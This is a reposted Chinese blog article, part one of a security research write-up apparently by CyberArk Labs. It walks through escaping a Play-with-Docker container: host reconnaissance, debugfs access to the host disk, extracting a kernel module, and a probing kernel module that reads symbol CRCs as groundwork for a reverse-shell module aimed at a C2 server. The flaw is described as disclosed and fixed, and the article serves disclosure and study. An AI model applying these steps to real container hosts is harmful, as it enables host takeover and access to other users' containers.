两台机器上的docker容器通信_攻击者是如何从PlaywithDocker容器逃逸到Docker主机的 (上)...

本文详细介绍了如何利用Play-with-Docker(PWD)平台上的容器,模拟攻击者如何实现从容器逃逸到Docker主机的过程。通过分析容器边界、内核版本、设备挂载以及使用debugfs工具,揭示了容器逃逸的可能途径,包括尝试加载内核模块并获取目标内核函数CRC。文章以ceph.ko模块为例,展示了如何提取模块并创建一个探测模块,为后续的攻击步骤做准备。
摘要由CSDN通过智能技术生成

2eb652497f96e93413f8b29e4fdc1d18.gif

d0e4b635c50ddd9d970d9f5dafaa5507.png导言

Play-with-Docker(PWD),即Docker的游乐场网站,专门供初学者迅速上手各种Docker命令。实际上,该网站是建立在许多Docker主机上的,每个主机运行多个供初学者使用的容器,所以,该网站是学习Docker的好去处。借助于PWD,人们可以在Web浏览器中免费体验Alpine Linux虚拟机,学生可以在Web浏览器中构建和运行Docker容器,这样,他们就可以直接体验一把Docker,而不必先忙着安装和配置Docker。

这一独特的服务受到了DEVOPS从业人员的热烈欢迎,每月访问量超过10万次,此外,该网站还提供Docker教程、研讨会和培训等服务。该倡议是由Marcos Nils和Jonathan Leibiusky发起的,并得到了Docker社区的帮助以及Docker的赞助。

下面,我们将尝试实现模拟容器的逃逸,以便在Docker主机上运行代码。

容器逃逸的影响类似于虚拟机逃逸,因为两者都允许访问基础服务器。一方面,在PWD服务器上运行代码将允许攻击者不受限制地访问PWD的基础设施,另一方面,还可以访问所有学生的容器。此为,我们还可以把容器逃逸视为攻击企业基础设施的第一步,因为现在许多企业都在运行面向公众的容器,这可能导致攻击者入侵企业网络。

我们已经将发现的安全漏洞报告给了Docker和PWD的维护人员,并且,他们已经修复了PWD中的相关漏洞。

d0e4b635c50ddd9d970d9f5dafaa5507.png虚拟机或Linux容器

无论是容器,还是虚拟机(Virtual Machines,VM),都能够将应用程序与运行在同一台计算机上的底层主机和其他应用程序隔离开来。这种隔离不仅对于应用程序的执行来说非常重要,同时,对于安全性来说,也是至关重要的。

Linux容器和VM之间的一个重要区别,主要体现在与Linux内核的关系上面。如图1所示,VM会为每个实例加载一个新内核;每个VM不仅运行所有硬件(虚拟机管理程序)的虚拟副本,还为每个VM实例都运行一个Linux内核的完整副本。

相反,所有容器将共享相同的内核代码。这就是容器如此轻量级和易于操作的原因,同时,这也是Linux容器链中的一个薄弱环节。在这篇文章中,我们将为大家介绍攻击者是如何攻击这一薄弱环节的。

b46cc24d28e21262079aff9fb1981e9f.png

图1:VMS与容器虚拟化层。资料来源:https://www.electronicdesign.com/dev-tools/what-s-difference-between-containers-and-virtual-machines

d0e4b635c50ddd9d970d9f5dafaa5507.png了解你的敌人

熟悉容器的第一步是绘制其边界图:

[node1] $ uname –a

Linux node1 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 Linux

uname命令能够显示主机的内核版本、体系结构、主机名和构建日期。

[node1] $ cat /proc/cmdline

BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c roconsole=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

/proc文件系统上的这个cmdline伪文件能够指出内核的引导映像和根UUID。这个UUID通常会被挂载为主机的根硬盘驱动器。接下来,我们要定位该UUID后面的设备:

[node1] $ findfs UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c

/dev/sda1

现在,我们可以尝试将该设备挂载到容器中,如果成功,就可以访问主机的文件系统了:

[node1] $ mkdir /mnt1

[node1] $ mount /dev/sda1 /mnt1

mount: /mnt1: cannot mount /dev/sda1 read-only.

不幸的是,SDA1设备是只读的,因此,我们无法挂载它。只读属性可能是使用PWD AppArmor的配置文件来实现的。

接下来,我们将转储cpuinfo文件,具体命令如下所示:

[node1] $ cat /proc/cpuinfo

processor       : 0

vendor_id       : GenuineIntel

cpu family      : 6

model           : 79

model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz

stepping        : 1

microcode       : 0xffffffff

cpu MHz         : 2294.670

cache size      : 51200 KB

physical id     : 0

siblings        : 8

core id         : 0

cpu cores       : 4

apicid          : 0

initial apicid  : 0

fpu             : yes

fpu_exception   : yes

cpuid level     : 20

wp              : yes

flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt

bugs            :

bogomips        : 4589.34

clflush size    : 64

cache_alignment : 64

address sizes   : 44 bits physical, 48 bits virtual

power management:

—- snip —-

processor       : 7

vendor_id       : GenuineIntel

cpu family      : 6

model           : 79

model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz

......

我们继续来研究容器环境,并查看主机的底层硬件:

Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS 090007  06/02/2017

在进一步研究其他内容之前,还有一件事要做,那就是学会使用debugfs。debugfs是一个交互式的文件系统调试器,可以用于ext2/3/4文件系统。它可以对设备指定的ext文件系统进行读写操作。下面,让我们拿sda1设备来演示一下debugfs的用法:

[node1 $ debugfs /dev/sda1

debugfs 1.44.2 (14-May-2018)

debugfs:

太好了! 我们已经通过sda1设备入侵了的主机的root文件系统。现在,借助于标准的Linux命令,例如cd和ls命令,我们就可以更深入的了解主机的文件系统了:

debugfs: ls

2  (12) .    2  (12) ..    11  (20) lost+found    12  (12) bin

 181  (12) boot    193  (12) dev    282  (12) etc    2028  (12) home

 6847  (20) initrd.img    2030  (12) lib    4214  (16) lib64

 4216  (16) media    4217  (12) mnt    4218  (12) opt    4219  (12) proc

 4220  (12) root    4223  (12) run    4226  (12) sbin    4451  (12) snap

 4452  (12) srv    4453  (12) sys    4454  (12) tmp    4455  (12) usr

 55481  (12) var    3695  (16) vmlinuz    3529  (12) .rnd    2684  (36) -

 17685  (24) initrd.img.old    24035  (3696) vmlinuz.old

这似乎是主机的根目录结构。并且,每个条目之前的数字是inode。例如, root (..)目录对应于inode 2;etc目录对应于inode 282。

获取了这些信息后,我们就可以规划接下来的行动了:

计划A:

我们的主要目标是,在我们所在的容器的主机上运行代码。为此,我们可以尝试加载一个Linux内核模块,该模块通过操控内核来运行我们的代码。

要加载一个新的内核模块,通常需要使用完全相同的内核源代码、内核配置和工具集对其进行编译。这一点无法在PWD内核上实现,所以,我们不得不转向计划B。

计划B:

对于该计划来说,我们将使用已经加载到目标内核上的模块来帮助我们构建自己的模块,并且这些模块可以加载到PWD内核上。

一旦我们确定了目标模块,我们就需要编译和加载第一个“probing”内核模块。这个模块将使用printk在内核记录器上转储必要的信息,以加载第二个反向shell模块。

在目标内核上运行第二个模块将执行必要的代码,以建立从PWD主机到C2服务器的反向shell。

听起来很复杂,对吧?如果您熟悉Linux内核模块的话,这实际上并不复杂,但是如果您愿意,可以跳过技术细节部分,直接观看相应的视频。

第1阶段:获取Play-with-Docker内核模块

在debugfs应用程序的帮助下,我们能够轻松地遍历主机的文件系统。很快,我们发现了一个内核模块,它具有让我们的策略正常运作所需的最低要求:一个使用printk内核函数的模块。

debugfs:  cd /lib/modules

debugfs:  ls

3017  (12) .    2030  (48) ..    262485  (24) 4.4.0-96-generic 

524603  (28) 4.4.0-137-generic    2055675  (3984) 4.4.0-138-generic

这是该设备的/lib/modules目录结构的列表。红色部分表示每个文件的inode。这个目录总共含有3个不同的内核版本,其中我们需要的版本为4.4.0-96-generic。

debugfs:  cd 4.4.0-96-generic/kernel/fs/ceph

debugfs:  ls

1024182  (12) .    774089  (36) ..    1024183  (4048) ceph.ko

接下来,我们将提取ceph.ko[iv]文件,它是ceph软件存储平台的内核加载模块。实际上,该主机上的所有使用printk函数的其他模块也都能满足我们的要求。

debugfs:  dump <1024183> /tmp/ceph.ko

dump debugfs命令实际上是通过它的inode从被调试的文件系统(根文件系统)中将相应的文件提取到容器的local/tmp目录中的。

现在,我们可以将这个文件传到我们的工作站上。

第2阶段:创建“probing”内核模块:

一般而言,使用某个内核源代码编译的模块无法加载到使用另一个源代码编译的内核上面。但是,对于相对简单的模块来说,可以在下面三种情况下将内核模块加载到不同的内核上:

该模块与要使用的内核具有匹配的vermagic。实际上,vermagic就是一个字符串,用于标识编译它的内核的版本。

模块使用的每个函数调用或内核结构(用Linux内核术语来说,就是符号)都能向它试图加载的内核提供一个匹配的CRC。

模块的可重定位起始地址与内核的编程地址是一致的。

我为了获得目标内核上call_usermodehelper()函数的CRC,我们需要使用一个probing模块来完成该任务。

第1步:查找call_usermodehelper函数在目标内核上的CRC地址

Linux内核的符号位于/proc/kallsyms中:

[node1] $ cat /proc/kallsyms | grep call_usermod

ffffffff81096840 T call_usermodehelper_exec

ffffffff810969f0 t call_usermodehelper_exec_async

ffffffff81096b40 t call_usermodehelper_exec_work

ffffffff810970a0 T call_usermodehelper_setup

ffffffff81097140 T call_usermodehelper

ffffffff81d8a390 R __ksymtab_call_usermodehelper

ffffffff81d8a3a0 R __ksymtab_call_usermodehelper_exec

ffffffff81d8a3b0 R __ksymtab_call_usermodehelper_setup

ffffffff81daa0e0 r __kcrctab_call_usermodehelper

ffffffff81daa0e8 r __kcrctab_call_usermodehelper_exec

ffffffff81daa0f0 r __kcrctab_call_usermodehelper_setup

ffffffff81dbabf1 r __kstrtab_call_usermodehelper

ffffffff81dbac05 r __kstrtab_call_usermodehelper_exec

ffffffff81dbac1e r __kstrtab_call_usermodehelper_setup

call_userModeHelper()函数的CRC存储在地址FFFFFF81DAA0E0处,因此,probing模块应该转储该地址中的内容。

下面是第一个模块的代码:

#include      /* Needed by all modules */

#include      /* Needed for KERN_INFO */

#include        /* Needed for the macros */

MODULE_LICENSE("GPL");

MODULE_AUTHOR("CyberArk Labs");

MODULE_DESCRIPTION("A simple probing LKM!");

MODULE_VERSION("0.3");

static int __init startprobing(void)

{

    // these address were copied from the kallsyms of the 4.0.0-96-generic

    // after grepping for kcrctab_

    int *crc1 = (int *)0xffffffff81daa0e0;      // address of crc of call_usermodehelper

    int *crc2 = (int *)0xffffffff81dae898;      // address of crc of printk

    printk(KERN_EMERG "Loading probing module...\n");

    printk(KERN_EMERG "CRC of call_UserModeHelper = 0x%x\n", *crc1);

    printk(KERN_EMERG "CRC of printk = 0x%x\n", *crc2);

    return 0;

}

static void __exit startprobing_end(void)

{

    printk(KERN_EMERG "Goodbye!\n");

}

module_init(startprobing);

module_exit(startprobing_end);

第2步:准备好Makefile文件

下一步是为该内核模块准备一个Makefile文件:

obj-m = probing.o

all:

make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然后,执行make命令:

$ make

make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/simplemod modules

make[1]: Entering directory '/root/debian/linux-4.17-rc2'

  CC [M]  /root/cprojects/kernelmod/simplemod/probing.o

  Building modules, stage 2.

  MODPOST 1 modules

read continue

我们可以在编译器生成probing.mod.c文件之后、链接probing模块的代码之前,停止该编译过程。

下面是自动生成的文件:

$ cat probing.mod.c

#include

#include

#include

MODULE_INFO(vermagic, VERMAGIC_STRING);

MODULE_INFO(name, KBUILD_MODNAME);

__visible struct module __this_module

__attribute__((section(".gnu.linkonce.this_module"))) = {

    .name = KBUILD_MODNAME,

    .init = init_module,

#ifdef CONFIG_MODULE_UNLOAD

    .exit = cleanup_module,

#endif

    .arch = MODULE_ARCH_INIT,

};

#ifdef RETPOLINE

MODULE_INFO(retpoline, "Y");

#endif

static const struct modversion_info ____versions[]

__used

__attribute__((section("__versions"))) = {

    { 0x6cb06770, __VMLINUX_SYMBOL_STR(module_layout) },

    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },

    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },

};

static const char __module_depends[]

__used

__attribute__((section(".modinfo"))) =

"depends=";

MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

未完待续,我们先介绍到这里,大家先消化消化,明天将为大家奉上本文的后半部分。敬请期待!

98e7fd624e22a41466a0f2486d99cbd0.png

0ce33e441dac213f621cd2e8728a7151.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值